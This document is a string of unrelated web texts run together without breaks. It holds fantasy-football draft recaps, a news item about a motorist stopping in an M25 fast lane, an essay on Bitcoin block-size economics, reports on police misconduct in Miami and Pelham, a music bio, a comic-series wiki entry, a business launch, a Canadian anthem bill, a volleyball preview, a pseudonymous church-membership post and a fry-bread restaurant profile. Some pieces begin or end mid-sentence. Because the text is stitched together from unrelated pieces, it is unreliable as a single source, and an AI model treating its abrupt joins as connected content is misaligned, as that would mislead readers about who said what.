Round.Pick Player Round.Pick Player
7.01 Austin Collie 15.01 Cowboys
My quarterback draft strategy was: Patience. Especially with the first pick, there was minimal temptation to pick Vick or Rodgers in a two-QB league, but with the depth of the QB class this season it was much more beneficial to wait, and I got Peterson and Jennings with my first two picks.
The biggest reach of this draft was: Rivers at No. 7 overall. I understand the depth of a two-QB league, but the panic displayed in the first round with six QBs selecetd ahead of top-notch Fanatsy studs like LeSean McCoy, Michael Turner, Maurice Jones-Drew and Andre Johnson seems a little excessive with so many solid QBs available.
The biggest steal of this draft was: Kyle Orton in the seventh round. With everyone scrambling for QBs early, there was a failed realization heading into the draft that this is the year for QB depth. There are nearly 15 solid No. 1 options and a handfull more with the potential if they stay healthy (Stafford), and the Orton pick showed solid patience while Dave was able to snag both starting WRs and RBs beforehand.
The grade I give myself is: B
If I could trade rosters with one guy in the league it would be: Jim Lanzone
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Kevin Goodwin
Round.Pick Player Round.Pick Player
5.12 Anquan Boldin 13.12 Patriots
My quarterback draft strategy was: Picking last in the draft I had to take the best QB option available to me. With many other owners taking QBs before me, I was able to snatch up Matt Ryan and Michael Turner with back-to-back picks. I was going to take another QB when the draft came back to me but opted to wait and get Alex Smith in Round 7 and Tim Tebow in Round 14 to balance out my group.
If I could have one of my picks back, it would be: I was unsure about having my top two picks coming from the same team, so I might have switched out Turner with LeSean McCoy or Calvin Johnson.
The biggest steal of this draft was: I'm just saying this because he was the last position player taken, but I think Zach Miller could have a big year in Seattle as T-Jack's safety valve. I might not need a second TE, but he could prove to be a big plus for me.
The grade I give myself is: C
If I could trade rosters with one guy in the league it would be: Denny Burkholder
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Mike Freeman
Round.Pick Player Round.Pick Player
6.04 Fred Jackson 14.04 Steelers
My quarterback draft strategy was: Draft a great one with first pick then hope for the best with second.
If I could have one of my picks back, it would be: Plaxico Burress. He scares me.
The biggest steal of this draft was: Hillis in 4th round. Injury risk but still a great spot to snag him.
The grade I give myself is: B
If I could trade rosters with one guy in the league it would be: Will Brinson
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Paul Prouty
Round.Pick Player Round.Pick Player
6.05 Antonio Gates 14.05 Eagles
My quarterback draft strategy was: To not reach, take the best position players available and see which two QBs fall to me. If Eli can revert to form of the previous two seasons' interception rate, I think he has a chance to move up to the upper echelon of QBs. Additionally, I think McNabb is being overlooked and could be in line for a bounce-back year.
The biggest reach of this draft was: Matt Ryan (first pick of Round 2). I understand that QBs were going off the board. However, I couldn't take a QB that high who had not yet proven to be a top-tier QB; to pass on multiple top tier WRs and RBs seemed like a big reach.
The biggest steal of this draft was: Vernon Davis (11th pick of Round 8). Acquiring a top-tier TE, at a point in the draft when third tier TEs were going off the board, is just a great pick.
The grade I give myself is: B
If I could trade rosters with one guy in the league it would be: Jamey Eisenberg
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Peter Madden
Round.Pick Player Round.Pick Player
7.05 Jeremy Maclin 15.05 Lions
My quarterback draft strategy was: To not invest in an elite option. Rather, I decided to go with two guys with upside. Kolb could be the steal of the draft.
If I could have one of my picks back, it would be: Darren McFadden. The guy's already banged up. He plays for the Raiders. Enough said. The biggest reach of this draft was: Matt Ryan with the 13th overall pick. He's good but he shouldn't have gone before Tony Romo or Matt Schaub.
The grade I give myself is: B
If I could trade rosters with one guy in the league it would be: Jamey Eisenberg
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Will Brinson
Round.Pick Player Round.Pick Player
6.06 Mark Ingram 14.06 Giants
My quarterback draft strategy was: Cam Newton at all costs. Actually, I wanted Ben/Bradford/Stafford/Kolb to pair with Rivers but with them off the board, Newton was the best option. He's more likely to be a starter than David Garrard or Alex Smith, and I don't like Orton in Fox's offense. Anyone who loves Rodgers and Vick should understand the value/upside of a QB who can run. Plus, people reaching for quarterbacks affords a set of stud WR or RBs.
If I could have one of my picks back, it would be: Newton, but only because I could get him a couple rounds later. And then I wouldn't be subject to all my coworkers naming it the "reach of the draft." I'm fine with Newton as my No. 2 QB, especially with Henne as a backup, and I'll bet Cam outscores any QB taken after him in our draft, but I don't like pricing myself out of value like that.
The biggest steal of this draft was: Eisenberg getting Roethlisberger in the third round. He went RB-RB and then landed Ben, who would've been a Top-6 QB last year if you extrapolate his per-game Fantasy average across a full season. In fact, 'Berger and Stafford were the reasons I took V-Jax in the third and then Jamey hosed me by grabbing both.
The grade I give myself is: B
If I could trade rosters with one guy in the league it would be: Jamey EisenbergGet the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Traffic chaos ensued on the M25 when a motorist ground to a halt in the fast lane because the vehicle's fuel light lit up.
The dozy woman was driving an Audi Q7 anti-clockwise on the major commuter road when her thirsty 4x4 demanded a top up.
Apparently panicked because she was not used to driving the vehicle, the woman stopped straight away in one of the fastest lanes of the motorway.
Police were called to the scene between junctions 6 for Godstone and 5 for Sevenoaks during rush hour on Thursday.
Her action caused long delays for other drivers who had to sit in a traffic jam, while police gave her suitable advice and directed her to the nearest filling station.
A Surrey Police spokesman said: "Her fuel warning light came on so she stopped in lane three as she was confused due it not being a car that she usually drives.
"She was given suitable advice and directions to the nearest garage."
Following the incident, Surrey Roads Police appeared to mock the motorist, tweeting: "M25 drivers fuel warning light came on so they immediately stopped- in lane 3! doh"The Economics of Bitcoin Block Size
Prakhar Sharma Blocked Unblock Follow Following Aug 9, 2017
Bitcoin as a currency has proven its worth in last 8 years. It has the properties of ease of transfer, fungibility, divisibility, scarcity, and durability -which are missing in traditional fiat currencies as well as gold. However, it faces constant challenges from traditional payment systems, primarily regarding the maximum throughput of transactions per second (currently ranging from 3–7 transactions/sec as compared to Visa which averages 2000 transactions/sec).
The year 2017 can be considered as the year of forks which aim at increasing the throughput of Bitcoin Blockchain network in a sustainable way. The approach followed by these forks is to increase the block size so that more transactions can be included in each block, thus increasing the throughput.
Figure 1
Let’s look at basics of economics to explain the nuisance behind the block size.
Law of Demand and Supply
Figure 2
Figure 2 shows the basic supply-demand graph. On the vertical axis is the price of a product per unit and on the horizontal axis is the quantity per period. The blue and orange lines simultaneously show supply and demand. The point of intersection of these two lines gives the equilibrium point.
The orange shaded region in the graph is consumer surplus which is derived whenever the price paid by the consumer is actually less than what the consumer was willing to pay.
The blue shaded region in the graph is producer surplus which is the additional private benefit to producers, in term of profit, gained when the price they receive in the market is more than the minimum price they would be prepared to sell for.
The Bitcoin Market
Bitcoin ecosystem has two types of markets in play:
1. Bitcoin as a currency/commodity, where people trade bitcoins for various personal requirements.
2. Transactional confirmation from Miners: Participants of Bitcoin Blockchain pay miners a fee to validate their transactions and add them to blockchain.
These two markets are complimentary in nature as the exchange of Bitcoin in market 1 is complemented by validation of those transactions in market 2.
We have a quota in market 2 in the form of block size limit of 1 MB. Although it can be argued that market 1 does have a quota (the theoretical limit of 21 million bitcoins), this limit is not relevant while considering the means by which Bitcoin transactions take place. For example, if party A wants to buy $1 million worth of bitcoin, the only quota in play is whether a party B exists who will sell an equivalent value of bitcoin at a mutually agreeable price, nothing else.
Let’s now take a fresh look at our demand supply graph with respect to market 2.
Figure 3
On the horizontal axis, quantity could be assumed as the number of transactions that can be cleared. On the vertical axis is the miner’s fee in Bitcoins. The orange demand line is the number of transactions that market participants want to clear and blue supply line is hash power supplied by miners to clear the transactions.
The red vertical line denotes the quota of 1 MB block size. Since the inception of bitcoin, the quota line has always been firmly to the right of the equilibrium point. This means there was never enough demand to fill up the blocks so the quota actually didn’t matter economically. But once the quota goes to the left of the equilibrium point (the current scenario), things begin to change. The red area in figure 3 is called the dead weight loss. It represents transactions that would have been valuable to both the miners as well as traders but cannot be executed because of the block size quota. This is the economical value which is lost forever.
Also, we see a difference between the producer price and consumer price when the quota is applicable. So consumers - in this case the bitcoin traders - end up paying more than what it takes to validate their transactions. This cost to consumers is not necessarily monetary, but the time they spend waiting for their transactions to be validated.
Is there an urgent need to increase block size?
Let’s look at the substitute goods for Bitcoin available in the market. I looked at the correlation of price moment between bitcoin and the other cryptocurrencies in Figure 4 below, and observed a negative correlation between bitcoin and most of the other cryptocurrencies. This means that these cryptocurrencies are a substitute for Bitcoin.
Figure 4
Monero (XMR) is anomalous in that it has a positive correlation with Bitcoin. This could be because these two crypto currencies are tapping different markets with different use cases.
Figure 5
Figure 5 shows a very clear trend of people moving to alternate currencies. This makes a strong case in favour of the quota line moving to the left of the equilibrium point sometime after March 2017, thus making the transactions costly and confirming an urgent need to extend the quota limit.
What Now?
Increasing the block size to a limit that quota line moves to the right of equilibrium point would remove the inefficiencies created due to dead weight loss (Figure 3), thus decreasing the time to verify the transactions.
However, this will decrease the miner’s fees per transaction. To keep the profitability same as earlier, the miner has to increase the number of cleared transactions. This will require the miner to upgrade the hardware required for validating transactions thus making the mining activity profitable for only those players who could afford economies of scale.
This will make the mining activity highly centralized defeating the purpose of a decentralised community driven currency.
Having a constant block size could be a short nearsighted approach to this problem. If Bitcoin takes shape as a dominant international currency, the new block limit will reach sooner or later. A variable block size makes more sense to approach this problem.
Forks are good for a technology as it gives a way to test different approach for a problem. We might see more forks in Bitcoin Blockchain in coming future. Making Bitcoin a scalable and decentralized incentive driven ecosystem is still an ongoing research topic. There are already different communities which are working towards a sustainable approach for the block size problem.
I will be discussing in detail about these implementations in my next post.A small but obvious tip for police: Don't accuse a man with a debilitating eye condition of "turning a blind eye" to drug dealers in his area. And then don't also hit him right in the eyes.
Yet that's exactly what a 74-year-old landlord accuses a group of City of Miami Police officers of doing. Fernando Coipel in a federal lawsuit says cops beat him while he was wearing "two protective eyeglasses" and a white eyepatch, all used to treat a condition that leaves him visually impaired.
Coipel's lawyers did not respond to multiple requests for comment. The City of Miami, meanwhile, does not comment on active litigation.
Continue Reading
But Coipel outlines his allegations in the lawsuit, which he filed in February. He says the trouble began when he was talking to a prospective tenant at the apartment complex he owns on NW 61st Street in Miami on Valentine's Day 2012.
It was around 6 p.m. when Miami Police Officer John Carpenter approached Coipel from behind and said, "Put your fucking hands against the wall," Coipel alleges. Instead of waiting for Coipel to comply, the lawsuit says, Carpenter grabbed him by the back of his shirt and slammed his face into the wall.
“What’s going on?" Coipel claims he asked. "I am the owner of the building.”
Carpenter then allegedly responded, “Shut the fuck up. I don’t care who you are." He then slammed Coipel against his police cruiser several times, the landlord says.
"During this ordeal, Mr. Coipel kept on yelling, 'I can’t see,'" the suit says. "By this point, Mr. Coipel’s last pair of glasses had fallen to the ground and blood was coming from his right eye."
As a second officer arrived, Coipel says, his pants fell down, but Carpenter continued kneeing him, throwing him against the pavement, and hitting him on his back and head. |
’re being made fun of at their expense, you’re making fun of my daughter.” “Somebody has to stand up and defend the defenseless,” he continued on to say.
Pelham’s Mayor Gary Waters admitted that this isn’t a new issue and that this is a symptom of a much larger problem. He stated he was bothered by what he heard, but added that the audio “doesn’t cause me to come in off vacation and lop off heads.”
“The investigation regarding that and other things are ongoing. I’ve been working closely with several people ever since I’ve been in office to change the culture of the organization, but it takes time,” Waters also said.
The conversation was about the Linda Nolen Learning Center, which is a special-needs school in Pelham.
The nearly 2 minute long recording is only audio, but at least one officer was seen mimicking movements and hand gestures of a physically disabled child during the conversation, a source told AL.com.
“They just start rocking in their chairs and throwing [expletive] everywhere.” an officer is heard saying. “They were so happy to see Al they offered him Crayons,” another officer says. “My God. The sensitivity in this room,” yet another unnamed officer notes.
The disabled are likely the ones who could use protection the most, unfortunately police not only lack sensitivity, they also lack training on how to approach people with mental disorders and it often proves fatal.
From Yanira Serrano, Ezell Ford, Kelly Thomas, to Rosendo Gino Rodriquez and Dontre Hamilton, the list of lives taken by police lacking compassion and patience with the mentally ill is seemingly endless.
The mayor was correct, this is not a new problem. Where he is incorrect is in brushing this off as a non-emergency. This is an emergency. Police are armed and dangerous and people are being killed all across the country in large numbers. Tolerating the dehumanizing of any group puts them in further danger from these officers who are proudly showing their lack of humanity.
Bravo to Dustin Chandler, it is unfortunate that being a good person is so difficult to do while wearing a badge, but we are sure he will do amazing things with his life.
The audio file can be heard here.Glitch is the solo Psy-Trance project of Dash Hawkins from Cape Town, South Africa. Glitch first came out in early 2008 with his one-of-a-kind signature blend of underground beats, drawing influence from all aspects of music. He was quickly recognized for his unique style and began making waves in the scene, and playing alongside some of Cape Town's finest.
Before this chapter began, Dash was exposed to an analog synth at a very tender age and has been obsessed with sound ever since, going on to study Audio Engineering at Cape Audio College. This armed him with the tools needed to craft his own unique sonic arsenal. His style showcases hard, rolling bass-lines, hard-hitting, driving percussion blended with psychedelic, robotic leads and spacious pads and FX.
Being signed to Portuguese label, One Foot Groove and having played at various parties such as Rezonance Festival, Earthdance - Cape Town, Origin, Wacky Woods, Glitch most certainly knows what it takes to get any dancefloor messy... This is a live act not to be missed!!!
Xen Master is the newest installment from this young maestro. This brand new EP just personifies the Glitch hallmark of audio quality and psychedelic flow, incorporating only the most sublimely synthesized sounds pushing the very boundaries of sonic shamanism. Taking us on his trademark journey through psychedelic realms not often ventured into, this EP is a feast for even the most discerning of psychedelic music lovers. Never knowing what to expect, you just keep travelling deeper down the proverbial rabbit hole, bass-line after bass-line, melody after melody, till there just is no turning back...
Kaos Krew Records in association with Glitch, is proud to present his latest EP & the label's 71st digital release, Glitch – Xen Master EP. Stay tuned for this digital release available from selected online music stores on 21st Oct 2016. Distributed By Symphonic Distribution - www.symphonicdistribution.comFor the Canadian train, see Northlander
Northlanders is an American comic book series published by DC Comics under their Vertigo imprint. The stories are fictional but set in and around historical events during the Viking Age.
Northlanders is written by Brian Wood, illustrated by various artists on a per storyline basis, and with painted cover art by Massimo Carnevale. The first issue of the series was published on December 5, 2007.
On June 9, 2011, Brian Wood announced via Twitter that the series had been canceled by Vertigo. It ended on April 11, 2012, at issue #50.
Plot [ edit ]
Northlanders alternates long and short story arcs, each of which deals with a different protagonist in a different time period within the Viking Age.
The first story arc, "Sven the Returned," runs through issues 1–8 and is set in A.D. 980. It follows a self-exiled Viking warrior named Sven who has been serving in the Byzantine Varangian Guard, and is now returning to his birth region in the Orkney Islands in order to reclaim his rightful inheritance.
The second arc, "Lindisfarne," runs through issues 9 and 10, and is about a young boy and the sacking of the Lindisfarne monastery in A.D. 793, the beginning of the Viking Age.
The third arc, "The Cross + The Hammer," runs through issues 11–16 and is set around Dublin, Ireland circa the Battle of Clontarf, which took place in A.D. 1014; it deals with the pursuit of an Irishman and his daughter who attacks the occupying Viking forces using guerrilla tactics.
Collected editions [ edit ]
The series is being collected into trade paperbacks:
Later also collected in the following omnibus editions:
Awards [ edit ]
2007: Nominated for the Eagle Award for "Favourite Comics Cover published during 2007" for cover of issue 1B by Adam Kubert
References [ edit ]
Northlanders at the Grand Comics Database
at the Grand Comics Database Northlanders at the Comic Book DBDeclan Kelly, who recently stepped down as the United States Government's Economic Envoy to Northern Ireland, is re-entering the private sector with a new business in partnership with Douglas Band, the long time top advisor to President Bill Clinton, Irish Central has learned.
The company, called Teneo, will comprise a merchant bank, a private equity vehicle and an international consulting business, with offices initially in New York, London, Washington DC and Toronto.
It is also expected that the company will have a presence in Dublin in the near future.
The merchant bank will also include a private equity business designed to complement the extensive global consulting experience that exists inside the company. There are also plans to add a separate wealth management component to the business in due course.
The business will have three founding partners. Kelly and Band, who are known to be close friends who have known each other for almost two decades, will serve as CO-CEO's of the company.
Kelly's long time colleague and friend from FTI Consulting and Financial Dynamics, Paul Keary is the third founding partner and he will serve as COO of the business, reflecting many years of experience honed in helping to build both franchises in the US and around the world. Keary has been working with a number of governments on federal debt issues recently and is expected to be active in the Irish market in this area for the business going forward.
Several senior bankers are understood to have joined the merchant banking business, including Harry Van Dyke, who spent two decades with Morgan Stanley and Bank of America in a variety of senior management roles. He was previously head of Morgan Stanley's banking business in both Asia and Latin America. It's understood Van Dyke will be the CEO of the merchant banking division at Teneo.
Others associated with the firm include individuals who have worked for Goldman Sachs, Bank of America, Nike, Mayor Michael Bloomberg and President George W. Bush.
President Clinton will serve as an advisor to Teneo and serve on the company's Advisory Board. Former British Prime Minister, Tony Blair, will also serve on the board in a unique and powerful combination of skills and experience that the group believes will leave them uniquely positioned in the international business community. It is believed that this will be the first time that Clinton and Blair will have worked together in a business capacity.
Industry insiders believe that the unique offering of merchant banking and consulting, together with the assembled team's vast experience, could lead Teneo to quickly become one of the world's leading advisory businesses.
The individuals behind Teneo have extensive experience in building globally impactful businesses quickly. Kelly, who served as an advisor to Hillary Clinton when she ran for President, led the buy-out of Financial Dynamics in 2003 and in 2006 sold it to FTI Consulting for $340m, still the largest price ever paid for a communications consulting company.
He later served as a senior executive at FTI which at the time had 3500 people in 28 locations around the world and a market capitalization of $3 billion. He was speculated to be in line for the CEO's job when he left in September of 2009 to serve as Secretary of State Clinton's economic envoy to Northern Ireland. He stepped down in May after serving the United States for nearly two years and is acknowledged as having helped create thousands of jobs in Northern Ireland during his time in public service. He organized the widely acclaimed US-Northern Ireland international business conference in Washington for Secretary Clinton in October of last year and created the Northern Ireland Mentorship Program for young people from Northern ireland to come and work in leading US businesses for one year. That program is still continuing under Kelly's leadership. He is recognized as one of the top communications experts in the world, having advised multiple CEO's and Chairmen of many of the world's leading companies over the past decade. Several successive Taoisigh in Ireland have acknowledged reaching out to him for advice over the years. He is an adjunct professor in business studies at his alma mater, National University of Ireland, Galway.
The Honorable Douglas J. Band currently serves as Counselor to President William J. Clinton. He began his career working in the White House in 1995 and has been with President Clinton for 16 years. He has served as President Clinton's chief advisor since 2002, counseling him, serving as the key architect of Clinton's post-Presidency, and overseeing the 1,400 employees and volunteers of the William J. Clinton Foundation. Band will remain in his role serving President Clinton as his most senior advisor and expanding the incredible work of the Clinton Foundation and the Clinton Global Initiative.
Prior to his role as Counselor to President Clinton, Band served in the White House Counsel's office for four years, becoming a Special Assistant to the President before he was made one of the youngest Deputy Assistants ever to serve a President.
He is a graduate of the University of Florida and while working at the White House for 6 years, he simultaneously obtained a masters degree from Georgetown University in Liberal Arts and a Law degree from Georgetown University Law School by attending both programs in the evenings.
As Counselor to President Clinton, Band has traveled to nearly 100 countries, over 2,000 cities. He created and built the Clinton Global Initiative that to date has raised over 63 billion dollars for nearly 2,000 philanthropic initiatives around the world which in total has impacted over 300 million people in 180 countries.
He continues to serve his country in assisting various domestic agencies and advising foreign governments on nation building, infrastructure creation and democratic governance structure. He serves as President Clinton's representative to the White House and other governments, organizations and businesses around the world. Additionally, Band has advised several heads of state on their transitions out of office. He orchestrated the release of two American journalists captured in North Korea in the summer of 2009 and has assisted in the rebuilding of nations after some of the worst natural disasters in the past decade including southeast Asia, Haiti, New Orleans and Gujarat, India.
He serves on the Coca-Cola Company International Advisory Board, on the Advisory Board of Avenue Capital and as a member of the faculty of New York University as an adjunct professor.
President Clinton said of Band: "I wouldn't be able to get through the day without Doug, and I couldn't have accomplished half of what I have in my post presidency without him."
Paul Keary served as a senior executive in Financial Dynamics and FTI before establishing a consulting business in New York. He has advised several of the largest companies in the world in industries like finance, energy and technology and has quietly earned a reputation as one of the most effective CEO counselors on issues of reputation and business strategy.
Teneo, a name derived from the Latin word for "to guide", is expected to commence business in the coming days with its headquarters located in midtown Manhattan.
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READ MORE
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-----------------------------------------Some Canadian senators are urgently trying to stop Canada from having a “gender neutral” national anthem that they say will sound “clunky, leaden and pedestrian.”
If not blocked or amended, a bill winding its way through the Canadian Parliament will render “O Canada” into a statement of political correctness. The bill has already passed through the elected House of Commons, where it was introduced by now-deceased Liberal Member of Parliament Mauril Bélanger.
Even Liberal Senator Joan Fraser, who calls herself an “ardent feminist,” is opposed to the new phrasing that she says reflects poor grammar and is a silly effort to force “today’s values” on a song that was written in a different era.
“It’s a fine example of what happens when you let politicians meddle,” she said of Bill C-210, the National Anthem Act. “Politicians are not usually poets.”
The Liberal MP who sponsored the bill died last summer from Lou Gehrig’s Disease. His changes include excising the phrase “all thy sons command” and replacing it with “all of us command.”
The Liberal government and third-party New Democrat opposition supported the bill while the official opposition Conservatives largely opposed it.
Now, one year later, the bill has succeeded in reaching a third reading in the Senate and will receive royal assent if approved there and become law.
The Senate has enough legislative mechanisms at its disposal to keep the bill in limbo indefinitely if opposition warrants.
Those supporting the “non-sexist” national anthem want to see the the changes approved before July 1 this year, when Canada celebrates the 150th anniversary of confederation — the date that the country achieved its virtual independence from Great Britain.
Conservative Senator Michael MacDonald calls the legislation “sloppy” and not worthy of being passed into law.
“If we are constantly revising everything because it was written in another generation, our national symbols will have no value. Our history means nothing in this country anymore, and it’s a shame that we’re doing this,” he told CBC News. “The Senate should not be reticent in defending and preserving the heritage of Canada.”
Fraser agrees. She’s a former journalist and editor and says it is just as inappropriate to begin amending an historical song as it would be to rewrite history.
“If we are to become engrossed in the idea that we must at all times be correctly modern, we lose a part of our heritage,” Fraser said in a Senate speech.
“It may not be a perfect heritage — I’m not suggesting it is — but it is ours. I suggest that it deserves respect and acceptance for what it is: imperfect but our own.”
Follow David on TwitterNo. 11 Stanford women’s volleyball (21-7, 9-5 Pac-12) will take on Denver (23-8, 13-3 Summit League) Friday night in Maples Pavilion in the first round of the NCAA Tournament. With a win, the Cardinal will advance to the second round on Saturday, also in Maples Pavilion. In total, three matches will be played at Stanford this weekend, which comprise the first two rounds of the tournament.
Stanford comes into this game on a four-match winning streak and with a higher national ranking, so on paper, the Cardinal have the upper hand. However, this is the postseason, and Denver is a skilled opponent, so a Stanford win will require precision and communication.
The Cardinal and the Pioneers have similar strengths, making the match a tough setup for both teams.
On the defensive end, the two teams match up relatively evenly. Stanford holds a record of about 14.2 digs per set and Denver boasts a slightly higher 14.5.
Of course, defense is one of Stanford’s fortes, as the team features several star defensive players, including fifth-year senior middle blocker Inky Ajanaku, whose 1.51 blocks per set rank eighth in the nation. A double threat, Ajanaku also plays a key offensive role and is second on the team with 2.66 kills per set.
Defensively, she is joined by freshman middle blocker Audriana Fitzmorris, who has racked up 151 total blocks this season, barely trailing Ajanaku’s 154. Her 1.42 blocks per set rank 17th in the nation, and Stanford is one of just two teams to have multiple players in the top 20.
On the attack, the Cardinal will no doubt look to their team leader in kills, freshman outside hitter Kathryn Plummer, who has been a spark offensively this season, tallying nearly 80 more kills than anyone else on the squad.
Stanford does have the edge over Denver with 14.1 kills per set in comparison to the Pioneers’ 13.2, but these statistics don’t show a large gap in talent between the two teams. The Cardinal have also slightly outdone the Pioneers with a.274 attack percentage this season, in comparison to Denver’s.266.
On the whole, Stanford should be wary of Denver’s service, as the Pioneers have tallied 162 aces this season. In fact, the Pioneers have recorded an average of nearly 1.4 aces per set, making this one of their strongest assets.
Should the Cardinal advance to the second round, they will take on either the No. 20 Western Kentucky Lady Toppers (30-2, 14-0 Conference USA) or the Boise State Broncos (25-6, 16-2 Mountain West). Each team won its respective conference title, and the Broncos are currently riding a 14-match win streak, so the Cardinal may have their work cut out for them. However, Stanford owns a 2-0 lifetime record against the Lady Toppers and swept them the last time the teams met in the 2012 postseason.
The Cardinal will begin NCAA Tournament play for the 36th consecutive season on Friday. Both Friday and Saturday’s games will be streamed live on Pac-12.com, with Stanford’s first serve at 7 p.m.
Contact Laura Sussman at laura111 ‘at’ stanford.edu.This is a guest post by S. Stevenson (a pseudonym).
Recently, people who support the Church have been pointing out that there has not been an exodus of members leaving.
These people are widely lampooned and pilloried by the NOM and Dehlinite crowds and those who have degrees in religious statistics from the University of Reddit. The various disaffected groups are up in arms about the change in policy toward people with same-sex attraction, which became public in November 2015. They are desperate for any signs that people are leaving the church in droves and are hoping that sooner or later the Brethren must take notice of their disaffection and change the policy.
Now this may be hard to believe because you don’t know me from Adam and I’m writing under a pseudonym, but this is to protect a somewhat delicate source that I have within the Church Administration Building. Someone who is intimately familiar with the number of resignation letters they receive (they read them all), but who also knows the number of rebaptism applications they receive.
Now given the fanfare and magnification that social media provides, one would be tempted to assume that the resignations outnumber the rebaptism applications. This is simply not so. My source told us over family dinner one Sunday that the perception that social media gives about the “exodus” is simply not representative of the Church not just globally but even within the US.
The number of folks applying for rebaptism far and away outnumbers the resignation requests. In fact going further, there have been some that resigned in the post “policy” fallout have since requested rebaptism and expressed sorrow for their hasty actions.
But why don’t we hear of these rebaptisms? Well for one they don’t make like Dehlin, Kelly, and Runnels, and alert the media they want back in. They don’t create viral tirades and blog posts announcing their rekindled love for the church. These are humble quiet affairs that aren’t announced and aren’t made a spectacle for all to see.
So when the Brethren stand up and say the Church is going strong, it isn’t blown smoke, it isn’t them simply attempting to assuage fears, it actually comes from a knowledge and understanding of what is occurring for the Church and being able to see the whole picture, not just the magnified parts from the Bloggernacle and social media.
Sometimes we have a tendency to get wrapped up in what we constantly see, especially what we see and witness in social media, but we need to remember that these things aren’t representative of the larger sampling of the populace. Millions of people go about their lives without broadcasting their thoughts, feelings and every action across social platforms.
As for the other example of if enough people become disaffected the Church will be forced to change, well that was answered years ago by Elder Bruce R. McConkie when he said “The caravan rolls on…”
The Church is like a great caravan—organized, prepared, following an appointed course, with its captains of tens and captains of hundreds all in place. What does it matter if a few barking dogs snap at the heels of the weary travelers? Or that predators claim those few who fall by the way? The caravan moves on. Is there a ravine to cross, a miry mud hole to pull through, a steep grade to climb? So be it. The oxen are strong and the teamsters wise. The caravan moves on. Are there storms that rage along the way, floods that wash away the bridges, deserts to cross, and rivers to ford? Such is life in this fallen sphere. The caravan moves on. Ahead is the celestial city, the eternal Zion of our God, where all who maintain their position in the caravan shall find food and drink and rest. Thank God that the caravan moves on!The Republic | azcentral.com Fri Feb 15, 2013 8:46 AM
Alice Roach, a Valley native, left everything she ever knew in 1990 when her husband accepted a job as business manager for a school district on the Navajo Reservation.
They lived in Window Rock, about five hours from Phoenix in the Four Corners region of northeastern Arizona.
To make the two years the couple spent on the reservation go a little faster, Roach met a few women who grew up on the reservation. They taught her traditional Native American recipes, including how to make fry bread.
From there, Roach said, she played with the recipes to make them her own.
Those dishes became an instant hit with friends and family when Roach and her husband, John, returned to the Valley in 1993.
“When I moved back to Phoenix, everyone wanted me to make it,” Roach said. “Then, I decided I needed to make it to make money.”
That’s when her husband’s business sense came into play. The Glendale couple, both 60, realized they could sell Roach’s fry bread recipe to the public.
For years, they operated out of a truck at festivals around the state and selling fry bread to lunchtime customers in Phoenix. This month, they put down permanent stakes with the opening of a restaurant, White Eyes Fresh Fry Bread, on 59th Avenue, just north of Loop101, in Glendale.
“We certainly had no idea that that’s what we would do at that time,” John said. “This just turned out to be an idea that has multiplied into a pretty decent product, so we’re taking it as far as it’ll go.”
Getting started
In 2006, Alice began working on a recipe that could easily be sold to the masses from a food truck. The tricky part, she explained, was that the bread needed to be frozen so it could be fried quickly and easily.
Without freezing the bread, she could make only between 10 and 15 loaves an hour, which she knew would not work for a food truck.
“It’s really made to fast-serve because that’s kind of how we live right now,” she said.
She finalized a recipe that she said still tastes good but can be prepared in a matter of seconds.
“Finally, after a year, it was perfect,” she said.
She now works with a chef from California who produces her recipe in bulk.
In 2007, she and John purchased a 20-foot trailer in Las Vegas and launched White Eyes Fresh Fry Bread. They sold their first plate of fry bread at the Tempe Music Festival later that year.
“At that particular time, six years ago, the food-truck phenomena was just starting,” John said.
Business has yet to slow down. Using the same trailer, the pair have worked about 40 events a year since starting the venture.
By 2012, they began setting up the truck at two north Phoenix locations to sell lunches four days a week.
Alice is the cook and John is the numbers guy. John was the chief financial officer of research for Banner Health, although both now focus on their fry-bread venture.
Since 2007, the couple estimate they have sold more than 85,000 fry-bread orders out of the food truck alone.
Expansion
This month, the couple opened the permanent location in Glendale.
The 1,400-square-foot restaurant is designed to fit about a dozen people inside and 16 more on the patio. John said he expects many of their customers to take their fry bread to go.
As for the menu, “This isn’t going to be the average, same-old fry-bread restaurant,” he said. “There’s going to be a lot of modern, mainstream items on top of the fry bread.”
Carne asada, red beef chili, chicken with green chili, hamburger meat and vegetarian beans are the primary options available to top the bread. Or customers can customize their plate.
There are dessert options with toppings that can include chocolate, ice cream, powdered sugar, cinnamon sugar or honey.
“We like to do a lot of exciting things with the food,” John said. “The menu will be small, but it’s going to be powerful.”
Glendale resident Matt Hefter, who lives a few blocks from the restaurant, couldn’t be more pleased.
“Every year, I would go to the State Fair for the sole purpose of having fry bread,” he said.
As one of his favorite foods, Hefter started researching businesses that sell fry bread because having it once a year just wasn’t cutting it.
Last fall, he heard about White Eyes opening a permanent location near him. Since the store opened Feb.1, he said he has visited at least six times and has started bringing his wife and son.
“Believe me, I’ve had more than my share already,” Hefter said.
As for the couple, who has been married 32 years, John said he has no intentions of slowing down and wants to eventually open a restaurant at the Phoenix Sky Harbor International Airport.
“There’s no reason why we can’t do it,” he said.
The couple will continue to sell fry bread at events, and hope to return to selling it from the food truck during lunches once the restaurant is off the ground. In addition, John said he wants to purchase two more trucks and hire more people to run them. He expects that to happen by this spring.
“We are going to continue and continue to expand,” he said. “We’re not looking at retirement.”At the moment the government is considering privatising welfare provision by outsourcing youth employment services to its providers in the private sector. Surprisingly, Treasury is opposed. Why? Because it exposes the government to a high risk of fraud:
However, Treasury advise that there is significant risk of private providers gaming the system, for example by classifying young people at a higher risk of long term unemployment than might actually be the case. Treasury also advises the complexity of case management will make it very difficult for the Ministry of Social Development to audit the private contracts and compare their outcomes with the Ministry’s own service delivery.
Contrary to Paula Bennett's view, this isn't just a theoretical risk. They did this a few years ago in the UK - and just yesterday, UK police arrested four staff from welfare-to-work provider A4e on fraud charges for falsely claiming that people had been placed in employment. And this isn't an isolated incident. This company alone has been investigated nine times since 2005, and been forced to repay money five times for fraud including falsifying "confirmation of work" forms and forging employers' signatures. They've lost private data of their "clients" by transporting it on unsecured laptops. And its been found to be abusing work-for-dole provisions to extract slave-labour from the very people it should be finding real jobs for. None of these risks exist if the work is done by public servants rather than the private sector.
